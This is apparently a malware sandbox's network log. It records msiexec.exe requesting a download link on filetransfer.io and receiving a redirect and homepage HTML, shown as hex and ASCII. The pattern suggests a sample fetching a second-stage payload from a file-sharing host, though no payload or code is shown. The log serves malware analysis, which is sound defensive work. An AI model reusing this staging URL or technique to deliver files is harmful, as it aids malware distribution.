2025-01-10 19:15:00 UTC	1369	IN	Data Raw: 3e 0a 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a Data Ascii: ><meta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:
2025-01-10 19:15:00 UTC	1369	IN	Data Raw: 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e Data Ascii: pple-touch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.
2025-01-10 19:15:00 UTC	1369	IN	Data Raw: 77 69 64 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e Data Ascii: wide.png"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" conten
2025-01-10 19:15:00 UTC	1369	IN	Data Raw: 74 20 62 65 67 69 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c Data Ascii: t beginning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilel
2025-01-10 19:15:00 UTC	1369	IN	Data Raw: 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 Data Ascii: MESSAGES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fX
2025-01-10 19:15:00 UTC	1362	IN	Data Raw: 74 6c 65 3d 22 53 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e Data Ascii: tle="Switch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle">
2025-01-10 19:15:00 UTC	1369	IN	Data Raw: 62 30 35 0d 0a 0a 0a 09 09 3c 68 72 3e 0a 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f Data Ascii: b05<hr><section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremo
2025-01-10 19:15:00 UTC	1369	IN	Data Raw: 0a 09 09 09 09 09 09 3c 2f 6c 61 62 65 6c 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 Data Ascii: </label></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max
2025-01-10 19:15:00 UTC	90	IN	Data Raw: 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 77 61 72 6e 69 6e 67 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 64 69 72 65 63 74 6f 72 69 65 73 22 3e 0d 0a Data Ascii: ass="alert alert-warning alert-noremove alert-hidden" data-alert-occasion="directories">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.6	57984	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:15:00 UTC	190	OUT	GET /data-package/sJfx1gsn/download HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache
2025-01-10 19:15:01 UTC	615	IN	HTTP/1.1 301 Moved Permanently Date: Fri, 10 Jan 2025 19:15:00 GMT Content-Type: text/html Content-Length: 167 Connection: close Cache-Control: max-age=3600 Expires: Fri, 10 Jan 2025 20:15:00 GMT Location: https://filetransfer.io Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=6CvE3rCzuWdOISPx%2BsskPvNFCU12axiNEiq%2BEg8fmL7fGDnvMvGEePyHC3ipSMYSfq8kTrSYGVYm%2FCwXDEnL1viEd5bw4yE7MGJFUHbkhNu7nfTiihh1zgUatrxlAttDG6Y%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe4af8be423e-EWR
2025-01-10 19:15:01 UTC	167	IN	Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.6	57985	172.67.152.246	443	5280	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 19:15:01 UTC	184	OUT	GET / HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0 Host: filetransfer.io Cache-Control: no-cache Connection: Keep-Alive
2025-01-10 19:15:01 UTC	952	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 19:15:01 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: close x-amz-id-2: EJRBFNec3oCwgSzrvnTpHDoxpJ1PSoZ1PcJIAXo8NJepWbJnVwF38RaKlVCFnHU0TteR87905Ew= x-amz-request-id: YT8J7QTDC3K5PCPN Last-Modified: Fri, 27 Dec 2024 12:13:01 GMT cf-cache-status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=te%2F5GLsL%2FPapPRxBDJt2I1t3oFKV638D6SFXsA49jw19K5vdTLZDL%2FFfJV%2BB%2Bh7VD8d9cC8A6gTL5%2FeCveFQVuTnjptZPtMYmIx4SYD8d%2FwOs99y78HzHFdPvKQE6RsQ5mQ%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ffefe4f2fdd4246-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1617&min_rtt=1610&rtt_var=617&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2838&recv_bytes=798&delivery_rate=1752701&cwnd=231&unsent_bytes=0&cid=c22aeb317cd872a9&ts=223&x=0"
2025-01-10 19:15:01 UTC	417	IN	Data Raw: 34 62 64 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 38 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 37 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 39 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 38 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 31 30 20 5d 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 63 73 22 20 63 6c 61 73 73 3d 22 69 65 39 20 6e 6f 2d 6a 73 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 28 67 74 20 49 45 20 31 30 29 7c 21 28 49 45 29 5d 3e 3c 21 2d 2d 3e Data Ascii: 4bd0<!DOCTYPE html>...[if lt IE 8 ]><html lang="cs" class="ie7 no-js"> <![endif]-->...[if lt IE 9 ]><html lang="cs" class="ie8 no-js"> <![endif]-->...[if lt IE 10 ]><html lang="cs" class="ie9 no-js"> <![endif]-->...[if (gt IE 10)\|!(IE)]>...>
2025-01-10 19:15:01 UTC	1369	IN	Data Raw: 3e 0a 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 09 3c 21 2d 2d 5b 69 66 20 49 45 5d 3e 0a 09 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 3e 0a 09 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6b 65 79 77 6f 72 64 73 22 20 63 6f 6e 74 65 6e 74 3d 22 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 2d 76 65 72 73 69 6f 6e 22 20 63 6f 6e 74 65 6e 74 3d 22 4e 53 34 78 4e 69 34 79 4d 67 3d 3d 22 3e 0a 0a 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6f 67 3a Data Ascii: ><meta charset="utf-8">...[if IE]><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"><![endif]--><meta name="author" content=""><meta name="keywords" content=""><meta name="app-version" content="NS4xNi4yMg=="><meta name="og:
2025-01-10 19:15:01 UTC	1369	IN	Data Raw: 70 70 6c 65 2d 74 6f 75 63 68 2d 69 63 6f 6e 2d 70 72 65 63 6f 6d 70 6f 73 65 64 22 20 73 69 7a 65 73 3d 22 31 39 32 78 31 39 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 73 6f 6c 69 64 2f 31 39 32 2e 70 6e 67 22 3e 0a 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 33 32 78 33 32 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 33 32 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 34 38 78 34 38 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 34 38 2e 70 6e 67 22 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 69 63 6f 6e 22 20 73 69 7a 65 73 3d 22 39 36 78 39 36 22 20 68 72 65 66 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 39 36 2e Data Ascii: pple-touch-icon-precomposed" sizes="192x192" href="/img/favicon/solid/192.png"><link rel="icon" sizes="32x32" href="/img/favicon/32.png"><link rel="icon" sizes="48x48" href="/img/favicon/48.png"><link rel="icon" sizes="96x96" href="/img/favicon/96.
2025-01-10 19:15:01 UTC	1369	IN	Data Raw: 77 69 64 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 6d 73 61 70 70 6c 69 63 61 74 69 6f 6e 2d 73 71 75 61 72 65 33 31 30 78 33 31 30 6c 6f 67 6f 22 20 63 6f 6e 74 65 6e 74 3d 22 2f 69 6d 67 2f 66 61 76 69 63 6f 6e 2f 6d 73 2f 6c 61 72 67 65 2e 70 6e 67 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 69 74 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 61 73 74 20 26 61 6d 70 3b 20 53 69 6d 70 6c 65 20 46 69 6c 65 20 54 72 61 6e 73 66 65 72 73 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 73 69 74 65 5f 6e 61 6d 65 22 20 63 6f 6e 74 65 6e 74 3d 22 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 22 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f 67 3a 74 79 70 65 22 20 63 6f 6e 74 65 6e Data Ascii: wide.png"><meta name="msapplication-square310x310logo" content="/img/favicon/ms/large.png"><meta property="og:title" content="Fast & Simple File Transfers"><meta property="og:site_name" content="FileTransfer.io"><meta property="og:type" conten
2025-01-10 19:15:01 UTC	1369	IN	Data Raw: 74 20 62 65 67 69 6e 6e 69 6e 67 20 6f 66 20 79 6f 75 20 65 2d 6d 61 69 6c 2c 20 70 72 65 73 73 20 65 6e 74 65 72 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 75 70 6c 6f 61 64 46 61 69 6c 65 64 20 3d 20 22 57 65 20 61 72 65 20 73 6f 72 72 79 20 62 75 74 20 74 68 65 20 66 69 6c 65 20 75 70 6c 6f 61 64 20 63 6f 75 6c 64 6e 27 74 20 62 65 20 72 65 73 74 6f 72 65 64 2e 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 55 70 6c 6f 61 64 41 62 6f 72 74 20 3d 20 22 44 6f 20 79 6f 75 20 72 65 61 6c 6c 79 20 77 61 6e 74 20 74 6f 20 69 6e 74 65 72 72 75 70 74 20 74 68 65 20 75 70 6c 6f 61 64 3f 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 61 6c 65 72 74 73 2e 63 6f 6e 66 69 72 6d 46 69 6c 65 6c Data Ascii: t beginning of you e-mail, press enter."; MESSAGES.alerts.uploadFailed = "We are sorry but the file upload couldn't be restored."; MESSAGES.alerts.confirmUploadAbort = "Do you really want to interrupt the upload?"; MESSAGES.alerts.confirmFilel
2025-01-10 19:15:01 UTC	1369	IN	Data Raw: 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 68 6f 75 72 73 20 3d 20 22 68 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 6d 69 6e 75 74 65 73 20 3d 20 22 6d 22 3b 0a 20 20 20 20 4d 45 53 53 41 47 45 53 2e 74 69 6d 65 2e 73 68 6f 72 74 63 75 74 73 2e 73 65 63 6f 6e 64 73 20 3d 20 22 73 22 3b 0a 0a 3c 2f 73 63 72 69 70 74 3e 0a 2d 2d 3e 0a 0a 3c 2f 68 65 61 64 3e 0a 0a 3c 62 6f 64 79 20 69 64 3d 22 75 70 6c 6f 61 64 2d 64 72 61 67 2d 64 72 6f 70 22 20 64 61 74 61 2d 62 79 74 65 73 2d 70 65 72 2d 6b 62 3d 22 31 30 32 34 22 20 64 61 74 61 2d 73 65 6e 74 72 79 2d 75 72 6c 3d 22 68 74 74 70 73 3a 2f 2f 36 33 36 36 31 32 38 63 64 33 62 61 34 66 66 62 62 61 39 65 38 65 38 37 33 35 66 58 Data Ascii: MESSAGES.time.shortcuts.hours = "h"; MESSAGES.time.shortcuts.minutes = "m"; MESSAGES.time.shortcuts.seconds = "s";</script>--></head><body id="upload-drag-drop" data-bytes-per-kb="1024" data-sentry-url="https://6366128cd3ba4ffbba9e8e8735fX
2025-01-10 19:15:01 UTC	1369	IN	Data Raw: 74 6c 65 3d 22 53 77 69 74 63 68 20 74 6f 20 74 68 65 20 68 6f 6d 65 20 70 61 67 65 22 20 68 72 65 66 3d 22 2f 22 3e 0a 09 09 09 3c 73 74 72 6f 6e 67 3e 46 69 6c 65 54 72 61 6e 73 66 65 72 2e 69 6f 3c 2f 73 74 72 6f 6e 67 3e 0a 09 09 3c 2f 61 3e 0a 09 09 3c 21 2d 2d 20 2e 6c 6f 67 6f 20 2d 2d 3e 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 68 65 61 64 65 72 22 3e 0a 0a 0a 0a 0a 09 09 09 3c 61 20 68 72 65 66 3d 22 2f 6c 6f 67 69 6e 22 0a 09 09 09 20 20 20 63 6c 61 73 73 3d 22 61 63 63 6f 75 6e 74 20 75 6e 64 65 72 6c 69 6e 65 22 0a 09 09 09 20 20 20 64 61 74 61 2d 61 75 74 68 65 6e 74 69 63 61 74 65 64 3d 22 66 61 6c 73 65 22 3e 0a 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 75 73 65 72 20 63 69 72 63 6c 65 22 3e Data Ascii: tle="Switch to the home page" href="/"><strong>FileTransfer.io</strong></a>... .logo --><div id="snippet--header"><a href="/login" class="account underline" data-authenticated="false"><span class="icon-user circle">
2025-01-10 19:15:01 UTC	1369	IN	Data Raw: 0a 09 09 09 09 09 09 3c 73 65 63 74 69 6f 6e 20 63 6c 61 73 73 3d 22 63 6f 6e 74 65 6e 74 20 6e 65 77 2d 63 6f 6e 74 65 6e 74 22 3e 0a 0a 0a 09 09 3c 64 69 76 20 69 64 3d 22 73 6e 69 70 70 65 74 2d 2d 66 6c 61 73 68 65 73 22 3e 3c 2f 64 69 76 3e 09 09 09 09 09 3c 21 2d 2d 20 2e 61 6c 65 72 74 20 2d 2d 3e 0a 0a 0a 09 09 09 09 09 3c 64 69 76 20 64 61 74 61 2d 6e 61 6d 65 3d 22 75 70 6c 6f 61 64 2d 70 61 72 61 6d 65 74 65 72 73 22 20 64 61 74 61 2d 73 70 65 63 69 61 6c 3d 22 25 37 42 25 32 32 75 70 6c 6f 61 64 53 74 61 72 74 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 73 74 61 72 74 2d 75 70 6c 6f 61 64 25 32 32 25 32 43 25 32 32 72 65 6d 6f 76 65 46 69 6c 65 55 72 6c 25 32 32 25 33 41 25 32 32 25 32 46 72 65 6d 6f 76 65 2d 66 69 6c 65 25 32 46 5f 5f 6f 77 Data Ascii: <section class="content new-content"><div id="snippet--flashes"></div>... .alert --><div data-name="upload-parameters" data-special="%7B%22uploadStartUrl%22%3A%22%2Fstart-upload%22%2C%22removeFileUrl%22%3A%22%2Fremove-file%2F__ow
2025-01-10 19:15:01 UTC	1369	IN	Data Raw: 3e 0a 09 09 09 09 09 3c 2f 70 3e 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 09 09 09 09 3c 21 2d 2d 20 2e 69 6e 74 72 6f 20 2d 2d 3e 0a 0a 09 09 09 09 3c 2f 64 69 76 3e 0a 0a 09 09 09 09 3c 64 69 76 20 63 6c 61 73 73 3d 22 61 6c 65 72 74 20 61 6c 65 72 74 2d 65 72 72 6f 72 20 61 6c 65 72 74 2d 6e 6f 72 65 6d 6f 76 65 20 61 6c 65 72 74 2d 68 69 64 64 65 6e 22 20 64 61 74 61 2d 61 6c 65 72 74 2d 6f 63 63 61 73 69 6f 6e 3d 22 74 6f 6f 2d 62 69 67 22 3e 0a 09 09 09 09 09 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 69 63 6f 6e 2d 74 69 6d 65 73 22 3e 3c 2f 73 70 61 6e 3e 54 68 65 20 6d 61 78 69 6d 75 6d 20 73 69 7a 65 20 6f 66 20 61 20 64 61 74 61 20 70 61 63 6b 61 67 65 20 69 73 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 6d 61 78 2d 62 79 74 65 73 22 3e 3c 2f 73 70 61 6e Data Ascii: ></p></div>... .intro --></div><div class="alert alert-error alert-noremove alert-hidden" data-alert-occasion="too-big"><span class="icon-times"></span>The maximum size of a data package is <span class="max-bytes"></span
